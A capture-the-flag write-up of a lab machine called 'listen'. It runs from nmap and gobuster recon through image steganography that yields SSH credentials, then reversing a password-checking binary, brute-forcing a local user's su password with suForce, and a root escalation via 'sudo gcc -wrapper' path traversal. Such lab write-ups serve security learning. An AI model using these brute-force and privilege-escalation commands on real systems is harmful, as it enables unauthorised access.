Information Gathering#
The nmap scan results are as follows:
┌──(root㉿kali)-[~/challenge/0213]
└─# cat nmapscan/detail
# Nmap 7.95 scan initiated Thu Feb 13 10:38:44 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.104
Nmap scan report for 192.168.56.104
Host is up (0.00072s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
| 256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_ 256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 13 10:38:51 2025 -- 1 IP address (1 host up) scanned in 6.88 seconds
According to the scan results, the target host only has ports 22 and 80 open, which are SSH and HTTP services, respectively. The HTTP service is using Nginx version 1.14.2, and the webpage displays the default welcome page of Apache2.
Web Reconnaissance#
Attempted directory brute-forcing yielded no results.
The homepage is a typical Apache2 Ubuntu default page. To conduct further probing, we first used wget
to download the homepage and check its size.
It turns out that the size of this page is indeed different from the usual Apache2 page. Next, we checked its source code and found two very critical comments:
<!-- 117db0148dc179a2c2245c5a30e63ab0 -->
-> Attempted to decrypt with md5 but failed.<!-- Some people always don't understand the format of photos. -->
-> Combined with the above comment, it is speculated that there are hidden image files.
We used gobuster
for directory brute-forcing.
┌──(root㉿kali)-[~/challenge/0213]
└─# gobuster dir -w hint -u `IP` -x .jpg,.jpeg,.png,.gif,.bmp,.tiff,.webp --exclude-length 11618
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: hint
[+] Negative Status codes: 404
[+] Exclude Length: 11618
[+] User Agent: gobuster/3.6
[+] Extensions: jpg,jpeg,png,gif,bmp,tiff,webp
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/117db0148dc179a2c2245c5a30e63ab0.jpg (Status: 200) [Size: 190696]
/117db0148dc179a2c2245c5a30e63ab0.png (Status: 200) [Size: 379011]
Progress: 8 / 16 (50.00%)
===============================================================
Finished
===============================================================
According to the brute-forcing results, two image files were discovered:
Image Steganalysis#
jpg:#
┌──(root㉿kali)-[~/challenge/0213]
└─# exiftool 117db0148dc179a2c2245c5a30e63ab0.jpg
ExifTool Version Number : 13.10
File Name : 117db0148dc179a2c2245c5a30e63ab0.jpg
Directory : .
File Size : 191 kB
File Modification Date/Time : 2025:02:13 01:33:04+08:00
File Access Date/Time : 2025:02:14 21:09:38+08:00
File Inode Change Date/Time : 2025:02:13 10:55:21+08:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : 219f26695ac66c93de9de70eebeefea4deb071df71b9b7d7ebcc06eca47ff6e4
Image Width : 1280
Image Height : 960
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1280x960
Megapixels : 1.2
┌──(root㉿kali)-[~/challenge/0213]
└─# stegseek 117db0148dc179a2c2245c5a30e63ab0.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.42% (132.7 MB)
[!] error: Could not find a valid passphrase.
In the Comment
field, we obtained a string of characters but could not decipher it; it should be a smokescreen. After that, we used the stegseek
tool for steganalysis but failed to find a valid password.
png:#
Using zsteg
to check for lsb steganography.
┌──(root㉿kali)-[~/challenge/0213]
└─# zsteg 117db0148dc179a2c2245c5a30e63ab0.png
imagedata .. text: "\n\n\n\t\t\t\n\n\n"
b1,rgb,lsb,xy .. text: "morainelake"
b1,bgr,msb,xy .. file: OpenPGP Public Key
b2,r,lsb,xy .. text: "UUUUUUUU@"
b2,g,lsb,xy .. text: "E@UAUUUUUUUUj"
b2,g,msb,xy .. text: "UUUZs-VUU"
b2,b,lsb,xy .. text: "EUUUUUUUUV"
b2,b,msb,xy .. text: "_UUUoUUe"
b3,b,msb,xy .. file: MPEG ADTS, layer I, v2, 96 kbps, Stereo
b3,rgb,lsb,xy .. file: PGP Secret Sub-key -
b4,r,lsb,xy .. text: "DEUTfgww"
b4,r,msb,xy .. text: "M,\"\"\"\"\"\""
b4,g,lsb,xy .. text: ["\"" repeated 10 times]
b4,g,msb,xy .. text: "HDDDDDDDDDDH"
b4,b,lsb,xy .. text: "3\"##2\"\"#33333333333333334DDDDDDDDDD4C333\"\"\""
b4,b,msb,xy .. text: ",\"\"\"\"\"\"\"\"\"\","
There is lsb steganography present, and the morainelake
here is likely a potential password.
Using the password morainelake
, we successfully extracted the hidden file from steghide
:
┌──(root㉿kali)-[~/challenge/0213]
└─# steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg -p morainelake
the file "secret.zip" does already exist. overwrite ? (y/n) y
wrote extracted data to "secret.zip".
Next, we unzip the secret.zip
file, again using the above password:
┌──(root㉿kali)-[~/challenge/0213]
└─# unzip secret.zip
Archive: secret.zip
creating: secret/
[secret.zip] secret/secret.txt password:
extracting: secret/secret.txt
Finally, we obtained a set of SSH credentials:
┌──(root㉿kali)-[~/challenge/0213]
└─# cat secret/secret.txt
morainelake:660930334
Privilege Escalation - welcome#
First, we perform reverse engineering on the /opt/reverse program. The pseudocode of the main function is as follows:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[28]; // [rsp+9h] [rbp-E7h] BYREF
char v5[7]; // [rsp+25h] [rbp-CBh] BYREF
char v6[16]; // [rsp+2Ch] [rbp-C4h] BYREF
int v7; // [rsp+3Ch] [rbp-B4h] BYREF
int v8; // [rsp+40h] [rbp-B0h] BYREF
int v9; // [rsp+60h] [rbp-90h] BYREF
int v10[8]; // [rsp+80h] [rbp-70h] BYREF
char dest[24]; // [rsp+A0h] [rbp-50h] BYREF
void *ptr; // [rsp+B8h] [rbp-38h]
int v13; // [rsp+C0h] [rbp-30h]
char v14; // [rsp+C7h] [rbp-29h]
char *v15; // [rsp+C8h] [rbp-28h]
char *v16; // [rsp+D0h] [rbp-20h]
void *v17; // [rsp+D8h] [rbp-18h]
void *v18; // [rsp+E0h] [rbp-10h]
char v19; // [rsp+EBh] [rbp-5h]
int v20; // [rsp+ECh] [rbp-4h]
puts("Enter passwords or Enter H coward mode:");
v20 = 0;
while ( 1 )
{
__isoc99_scanf("%s", &v4[7]);
if ( strcmp(&v4[7], "H") )
break;
if ( ++v20 == 100 )
{
puts("Hint: Invert XOR Replace! ");
goto LABEL_6;
}
}
strcpy(dest, &v4[7]);
__isoc99_scanf("%s %s %s", v10, &v9, &v8);
LABEL_6:
v7 = 8203321;
strcpy(&v6[9], "/, 8:(");
strcpy(v6, "!!|}yx{z");
strcpy(v5, "(;$)(#");
v19 = 77;
v18 = (void *)xor_decrypt(v6, 77LL);
v17 = (void *)xor_decrypt(&v6[9], (unsigned int)v19);
v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
v15 = (char *)xor_decrypt(v5, (unsigned int)v19);
if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
{
strcpy(v4, "pvygob");
v14 = 106;
v13 = 10;
ptr = (void *)caesar_decrypt(v4, 10LL);
printf("[+] Enter the password successfully! you know: %s\n", (const char *)ptr);
free(ptr);
}
else
{
puts("[-] Incorrect password!");
}
free(v18);
free(v17);
free(v16);
free(v15);
return 0;
}
The main function of this program primarily serves password verification. In the function, the user is first prompted to enter a password or enter "H coward mode." If the user inputs "H," the program will provide a hint regarding the XOR operation and continue executing other operations. Subsequently, the program uses multiple xor_decrypt
and caesar_decrypt
functions to decrypt a series of preset strings, ultimately verifying the password's correctness through the check_passwords
function. If the password is correct, the program will decrypt a string using caesar_decrypt
and output a hint message.
Combining the specific implementations of the program's xor_decrypt
and caesar_decrypt
functions, the following decryption script can be written:
def xor_decrypt(data, key):
return ''.join(chr(ord(c) ^ key) for c in data)
def caesar_decrypt(data, shift):
decrypted = []
for char in data:
if char.isalpha():
shift_amount = 65 if char.isupper() else 97
decrypted.append(chr((ord(char) - shift_amount - shift) % 26 + shift_amount))
else:
decrypted.append(char)
return ''.join(decrypted)
# Decrypting strings
v6 = "!!|}yx{z"
v6_part = "/, 8:("
v5 = "(;$)(#"
v4 = "pvygob"
v7 = 8203321
# Convert v7 to byte array
v7_bytes = v7.to_bytes((v7.bit_length() + 7) // 8, 'little')
# Using XOR decryption
key = 77
decrypted_v6 = xor_decrypt(v6, key)
decrypted_v6_part = xor_decrypt(v6_part, key)
decrypted_v5 = xor_decrypt(v5, key)
decrypted_v7 = xor_decrypt(v7_bytes.decode(), key)
# Using Caesar decryption
shift = 10
decrypted_v4 = caesar_decrypt(v4, shift)
print("Decrypted v6:", decrypted_v6)
print("Decrypted v6_part:", decrypted_v6_part)
print("Decrypted v5:", decrypted_v5)
print("Decrypted v7:", decrypted_v7)
print("Decrypted v4:", decrypted_v4)
Based on the input requirements of the check_passwords
function, we know that the correct password components are:
User Input vs Expected Decrypted Value
--------------------------------
dest == v18
v10 == v17
v9 == v16
v8 == v15
Input in order.
Successfully cracked the program, but our goal is to obtain the welcome user.
Using the following code to generate a dictionary of all permutations containing the above four inputs:
import itertools
# Define four strings
strings = ["ll104567", "bamuwe", "eviden", "ta0"]
# Generate permutations
permutations = list(itertools.permutations(strings))
# Print permutation results
for perm in permutations:
print(''.join(perm))
Then upload to suForce for brute-forcing.
morainelake@listen:/tmp$ ./suForce -u welcome -w dict
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
🎯 Username | welcome
📖 Wordlist | dict
🔎 Status | 2/24/8%/ll104567bamuweta0eviden
💥 Password | ll104567bamuweta0eviden
───────────────────────────────────
Brute-force successful, obtained welcome user privileges.
Privilege Escalation - root#
The root part is relatively simple, almost a ready-made sudo privilege escalation.
morainelake@listen:/tmp$ su - welcome
Password:
$ bash
welcome@listen:~$ sudo -l
Matching Defaults entries for welcome on listen:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on listen:
(ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*
Consulting gtfo for privilege escalation methods.
welcome@listen:~$ sudo gcc -wrapper /opt/../../../../bin/bash,-s .
root@listen:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
Using ../
to bypass directory restrictions, successfully escalated privileges to root.
Summary#
The entry point of the target machine stumped me for a long time. Although I quickly found two hidden images, I didn't think of steghide steganography when stegseek
didn't reveal the password.
Overall, this target machine is very interesting, thanks to LingMj for the hard work in creating it!